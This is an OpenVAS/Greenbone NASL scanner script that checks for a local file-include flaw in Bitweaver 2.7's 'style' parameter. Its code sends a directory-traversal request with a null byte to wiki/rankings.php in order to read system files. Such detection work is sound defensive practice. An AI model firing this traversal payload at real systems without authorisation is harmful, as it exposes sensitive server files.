Bitweaver 'style' Parameter Local File Include Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:bitweaver:bitweaver";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100713");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-07-13 12:45:31 +0200 (Tue, 13 Jul 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("Bitweaver 'style' Parameter Local File Include Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/41301");
  script_xref(name:"URL", value:"http://www.bitweaver.org/");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("secpod_bitweaver_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Bitweaver/installed");

  script_tag(name:"summary", value:"Bitweaver is prone to a local file-include vulnerability because it
  fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information and to execute arbitrary local scripts in the context of the webserver process.
  This may allow the attacker to compromise the application and the computer. Other attacks are also possible.");

  script_tag(name:"affected", value:"Bitweaver 2.7 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);

files = traversal_files();

foreach file (keys(files)) {

  url = string(dir, "/wiki/rankings.php?style=../../../../../../../../../../../../",files[file],"%00");

  if(http_vuln_check(port:port, url:url,pattern:file)) {
    security_message(port:port);
    exit(0);
  }
}

exit(0);